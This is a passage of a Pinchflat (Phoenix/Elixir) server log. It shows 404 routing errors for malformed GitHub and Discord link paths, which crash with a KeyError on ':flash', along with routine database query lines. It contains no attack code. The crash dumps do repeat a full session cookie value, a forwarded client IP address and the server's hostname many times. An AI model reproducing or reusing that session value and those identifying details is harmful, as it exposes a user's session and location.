Phoenix.Router.NoRouteError to 404 response 21:17:45.266 [info] GET /https%3A/discord.gg/j7T6dCuwU4 21:17:45.276 [debug] QUERY OK source="settings" db=8.3ms queue=0.2ms idle=54.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.280 [debug] QUERY OK source="settings" db=2.0ms queue=1.2ms idle=29.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.280 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:17:45.268 [error] #PID<0.11468.0> running PinchflatWeb.Endpoint (connection #PID<0.11456.0>, stream id 3) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/github.com/kieraneglin/pinchflat ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11468.0>, params: %{}, path_info: ["https%3A", "github.com", "kieraneglin", "pinchflat"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/github.com/kieraneglin/pinchflat", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4FKCvIg5Dt0AAMCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZ (truncated) 21:17:45.282 [error] #PID<0.11469.0> running PinchflatWeb.Endpoint (connection #PID<0.11453.0>, stream id 9) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/discord.gg/j7T6dCuwU4 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/discord.gg/j7T6dCuwU4 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/discord.gg/j7T6dCuwU4", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11469.0>, params: %{}, path_info: ["https%3A", "discord.gg", "j7T6dCuwU4"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/discord.gg/j7T6dCuwU4", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4FO0jfrComUAAMCh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/discord.gg/j7T6dCuwU4", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/discord.gg/j7T6dCuwU4 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/discord.gg/j7T6dCuwU4", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", (truncated) 21:17:45.491 [info] GET /https%3A/github.com/kieraneglin/pinchflat/releases 21:17:45.495 [debug] QUERY OK source="settings" db=0.9ms idle=245.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.498 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=239.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.498 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:17:45.501 [error] #PID<0.11471.0> running PinchflatWeb.Endpoint (connection #PID<0.11453.0>, stream id 11) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/github.com/kieraneglin/pinchflat/releases ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/releases (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/releases", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11471.0>, params: %{}, path_info: ["https%3A", "github.com", "kieraneglin", "pinchflat", "releases"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/github.com/kieraneglin/pinchflat/releases", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4GEZjfuk-3EAAMDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/releases", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/releases (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/releases", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchfla (truncated) 21:17:45.602 [info] GET /sources/6/media/76377 21:17:45.602 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76377", "source_id" => "6"} Pipelines: [:browser] 21:17:45.605 [debug] QUERY OK source="media_items" db=2.4ms idle=326.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76377] 21:17:45.609 [debug] QUERY OK source="tasks" db=2.3ms queue=0.1ms idle=326.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76377] 21:17:45.610 [debug] QUERY OK source="sources" db=3.1ms idle=111.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:45.621 [info] GET /%23 21:17:45.623 [debug] QUERY OK source="settings" db=1.3ms idle=74.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.625 [debug] QUERY OK source="oban_jobs" db=13.6ms idle=115.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1975] 21:17:45.627 [debug] QUERY OK source="settings" db=1.9ms queue=1.8ms idle=18.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.627 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:17:45.629 [debug] QUERY OK source="settings" db=3.6ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.633 [debug] QUERY OK source="settings" db=3.5ms queue=0.1ms idle=19.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS 